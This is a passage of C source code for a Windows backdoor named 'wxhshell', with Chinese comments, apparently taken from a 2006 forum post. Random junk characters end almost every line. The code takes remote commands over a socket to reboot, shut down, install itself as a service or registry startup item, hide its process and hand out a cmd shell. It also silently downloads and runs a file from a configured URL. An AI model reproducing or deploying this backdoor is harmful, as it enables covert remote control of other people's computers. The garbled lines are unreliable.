      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); `?R{sNr.  
    break; _*?qOmf=  
  } '" %0UflJS  
  // 安装 f42F@M(:  
  case 'i': { hp/pm6  
    if(Install()) @:PMb Ub  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 'Ca;gi !U  
    else ;b=diZE  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); R= mT J'y  
    break; ^o _J0 ]m  
    } ^78N25RU(  
  // 卸载 ;Wy03}K4J  
  case 'r': { -N^Ah_9ek  
    if(Uninstall()) t7u*j-YE  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); `Rfe*oAf  
    else 5NN;Fw+  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); (!5Pl`:j"  
    break; \/j,  
    } s+fxv(,"c  
  // 显示 wxhshell 所在路径 <yEApWd;  
  case 'p': { 7<)  
    char svExeFile[MAX_PATH]; &xB9;v3  
    strcpy(svExeFile,"\n\r"); xrBM`Bj0@  
      strcat(svExeFile,ExeFile); Kf[.@_TD<1  
        send(wsh,svExeFile,strlen(svExeFile),0); G8__6v~  
    break; SE'|||B  
    } i}C%8} %  
  // 重启 #o} /'  
  case 'b': { WvJ:yUb2  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); b:~#;$g  
    if(Boot(REBOOT)) .'H$|"( v  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); }PBL  
    else { N2}Y8aR~  
    closesocket(wsh); ;qUB[Kw  
    ExitThread(0); ;T0X7MNx  
    } ^&mrY[;S  
    break; H.>EO&#|p  
    } vxk0@k_  
  // 关机 U _A'/p^D  
  case 'd': { vdgK3I  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); _6c/,a8;*J  
    if(Boot(SHUTDOWN)) B@ufrQ#Y.  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); z a_0-G%C2  
    else { Tq )hAZ  
    closesocket(wsh); CYE[$*g6y  
    ExitThread(0); x"C7NW[$  
    } R+K|K2"  
    break; S& IW]ffK  
    } \ILNx^$EL  
  // 获取shell xYv;l\20.  
  case 's': { e_3jyA@v  
    CmdShell(wsh); ;8&/JSN M  
    closesocket(wsh); wzxV)1jT  
    ExitThread(0); #W8?E_iu  
    break; }AB_i'C0  
  } u8>aO>(bVg  
  // 退出 MbInXv$q2/  
  case 'x': { l(_|CkcZ  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); F7b% x7b  
    CloseIt(wsh); =X5w=(&  
    break; aN*{nW  
    } iZ}c[hC'3`  
  // 离开 }0anssC  
  case 'q': { %f("3!#H  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 1twpOZ>  
    closesocket(wsh); k= 9+"4:  
    WSACleanup(); t,/8U  
    exit(1); +L'Cbv="  
    break; g)$KN,gGuO  
        } cU ?F D  
  } (X\]!'A  
  } : KFK2yD  
L?|}!  
  // 提示信息 U<sGj~"#  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Z+6WG  
} 5HHf3E [  
  } (=WYi~2v  
F|m &n&  
  return; YCb|eS^u  
} =Gzs+6A8  
S~fP$L5  
// shell模块句柄 [tt{wl"E  
int CmdShell(SOCKET sock) ??.aLeF&  
{ 8`)* ?Q9~  
STARTUPINFO si; k+"7hf=C|  
ZeroMemory(&si,sizeof(si)); w nQy   
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; W,yLGz\  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; C<T6l'S{?  
PROCESS_INFORMATION ProcessInfo; LdOme [C1  
char cmdline[]="cmd"; *! :j$n;  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); jwLZC  
  return 0; d(RMD  
} .nVY" C&  
lo6upir ZX  
// 自身启动模式 i!UT =  
int StartFromService(void) E24}?t^|  
{ F[jqJzCz  
typedef struct k1yqe rA  
{ IOC$jab@  
  DWORD ExitStatus; `5Z'8^  
  DWORD PebBaseAddress; V?.=_T<  
  DWORD AffinityMask; 3!sZA?q  
  DWORD BasePriority; $iy!:Did  
  ULONG UniqueProcessId; y1}2hT0,  
  ULONG InheritedFromUniqueProcessId; wVI_SQ<8V  
}   PROCESS_BASIC_INFORMATION; _s0)Dl6K  
( [a$Z2m  
PROCNTQSIP NtQueryInformationProcess; Aep](je  
OMo/a%`  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; |k]]dP|:'  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; WwWOic2  
os;9 4yd )  
  HANDLE             hProcess; r|uR!=*|?  
  PROCESS_BASIC_INFORMATION pbi; N>a~k}pPH  
^q& Rl\  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 7CF>cpw  
  if(NULL == hInst ) return 0; "'Gq4<&y  
^:ny  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); `~lG5|  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ]:2Ro:4Yv  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); . bUmT!  
~fL`aU&  
  if (!NtQueryInformationProcess) return 0; z!b:|*m]w  
%1#|>^  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); dD39?K/  
  if(!hProcess) return 0; 8tjWVo  
bxL'k/Y$  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; q^^R|X1  
m;xa}b{(i  
  CloseHandle(hProcess); v)|a}5={  
h\Y~sm?!`  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ]lyQ*gM  
if(hProcess==NULL) return 0; ) d'H&c3  
ZR|s]'  
HMODULE hMod; :?z @T[-  
char procName[255]; u-jc8W`Zd  
unsigned long cbNeeded; B+R|fQ  
Z]2z*XD  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); nB :iG  
{hf_Xro&  
  CloseHandle(hProcess); m*)jnd XY  
JS\]|~Gd  
if(strstr(procName,"services")) return 1; // 以服务启动 ,+OVRc  
wKfq'W{  
  return 0; // 注册表启动 xqlnHf<G  
} }LX!dDuwA  
99'c\[fd'  
// 主模块 [K4 k7$  
int StartWxhshell(LPSTR lpCmdLine) .) %, R  
{ ~^'t70 :D  
  SOCKET wsl; tp!eF"v=  
BOOL val=TRUE; }c= Y<Cdh  
  int port=0; \0;w7tdo  
  struct sockaddr_in door; /?Y4C)G  
z$g__q-  
  if(wscfg.ws_autoins) Install(); y!S:d  
= 4|"<8'  
port=atoi(lpCmdLine); !P=L0A`  
'ju_l)(R  
if(port<=0) port=wscfg.ws_port; 5oB#{h  
+5R8mbD!  
  WSADATA data; n) HV:8j~  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; fh1-]$z`~  
DW7Jk"\GH  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   As^eL/m2L  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); \YF;/KwX$  
  door.sin_family = AF_INET;  9[YnY~z)  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); h;#^?v!+  
  door.sin_port = htons(port); }9z$72;Qdq  
u9c^YCBM  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { t(.vX  
closesocket(wsl); l`X?C~JhJ  
return 1; r~,3  
} U_Mag(^-  
-<T> paE9  
  if(listen(wsl,2) == INVALID_SOCKET) { +Qzl-eN/+  
closesocket(wsl); } 21!b :a  
return 1; cL#zE  
} OQg}E@LZ  
  Wxhshell(wsl); 4 s9^%K\8{  
  WSACleanup(); Edcv>}PfE  
|?f~T"|>  
return 0; |VyN>&r~6  
B'vIL'  
} 1Zo3K<*J  
5OFB[  
// 以NT服务方式启动 D^];6\=.i  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ,ag* /  
{ R Eo{E  
DWORD   status = 0; {VM^K1  
  DWORD   specificError = 0xfffffff; C\bJ_vl;'  
mB bGj3u;  
  serviceStatus.dwServiceType     = SERVICE_WIN32; mL;oR4{  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; r`+G9sj3U  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; =&.9z 4A  
  serviceStatus.dwWin32ExitCode     = 0; PuBE=9,  
  serviceStatus.dwServiceSpecificExitCode = 0; :Us+u-~  
  serviceStatus.dwCheckPoint       = 0; SD:Bw0gzrI  
  serviceStatus.dwWaitHint       = 0; .K#' Fec  
2Mw`  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); hHOx ]  
  if (hServiceStatusHandle==0) return; *'{9(Oj  
 aqi]5,  
status = GetLastError(); 3_i29ghv  
  if (status!=NO_ERROR) &wkb r2P  
{ D7B g!*  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; iM8l,Os]<f  
    serviceStatus.dwCheckPoint       = 0; }^n"t>Z8  
    serviceStatus.dwWaitHint       = 0; fP( n3Q  
    serviceStatus.dwWin32ExitCode     = status; =gd~rk9  
    serviceStatus.dwServiceSpecificExitCode = specificError; k%N$eO$  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); Vm I Afe  
    return; ?4W6TSW-'  
  } mv/ Nz?  
nU2w\(3|  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; i~4$V  
  serviceStatus.dwCheckPoint       = 0; ^ Vc(oa&;  
  serviceStatus.dwWaitHint       = 0; Ogh,  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); +J42pSxzoo  
} Ycxv=Et  
<fgf L9-  
// 处理NT服务事件,比如:启动、停止 @zt"Y~9i  
VOID WINAPI NTServiceHandler(DWORD fdwControl) <hgfgk7<  
{ }tH_YF}u  
switch(fdwControl) HMKogGTTo  
{ x IL]Y7HWM  
case SERVICE_CONTROL_STOP:  Qk.[#  
  serviceStatus.dwWin32ExitCode = 0; 9!Fg1 h=  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; [ 4PiQyr  
  serviceStatus.dwCheckPoint   = 0; q((%sWp  
  serviceStatus.dwWaitHint     = 0; X:(t,g*7  
  { iE ,"YCK  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 2ryg3% +O  
  } 9wC='  
  return; u*7>0o|H:  
case SERVICE_CONTROL_PAUSE: i>pUTT _[  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; mJVru0  
  break; ]qk`Yi  
case SERVICE_CONTROL_CONTINUE: a5`9mR)Y$'  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; p%\&M bA  
  break; eFQz G+/  
case SERVICE_CONTROL_INTERROGATE: H]{`q  
  break; Vg"vC  
}; ,A0v 5Q<  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); }[;r-5}  
} WBD"d<>'  
>IZ$ .-  
// 标准应用程序主函数 `n`HwDo;i  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ,!^;<UR:  
{ -e+im(2D=  
{]7lh#M  
// 获取操作系统版本 P@Pe5H"o  
OsIsNt=GetOsVer(); 'H1k  
GetModuleFileName(NULL,ExeFile,MAX_PATH); `4qtmbj  
A_.}- dzF  
  // 从命令行安装 e~6>8YO+7j  
  if(strpbrk(lpCmdLine,"iI")) Install(); R]S!PSoL  
fQ2U |  
  // 下载执行文件  S^5Qhv  
if(wscfg.ws_downexe) { M(Yt9}Z%Y  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) vH"^a/95|  
  WinExec(wscfg.ws_filenam,SW_HIDE); x^YsXzu  
} FaG&U  
srS5-fs  
if(!OsIsNt) { ,esUls'nz'  
// 如果时win9x,隐藏进程并且设置为注册表启动 [O3)s]|  
HideProc(); z{U^j:A  
StartWxhshell(lpCmdLine); *!}bU`  
} q9$K.=_5  
else <;!#+|L/  
  if(StartFromService()) *i,A(f'e4X  
  // 以服务方式启动 OlsD  
  StartServiceCtrlDispatcher(DispatchTable); m{ rsjdnA  
else #\3X;{  
  // 普通方式启动 ev5m(wR  
  StartWxhshell(lpCmdLine); 0(^ N  
$ 3.Y2&$T  
return 0; Y0o{@)Y:  
}
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只看该作者 1 发表于: 2006-10-10
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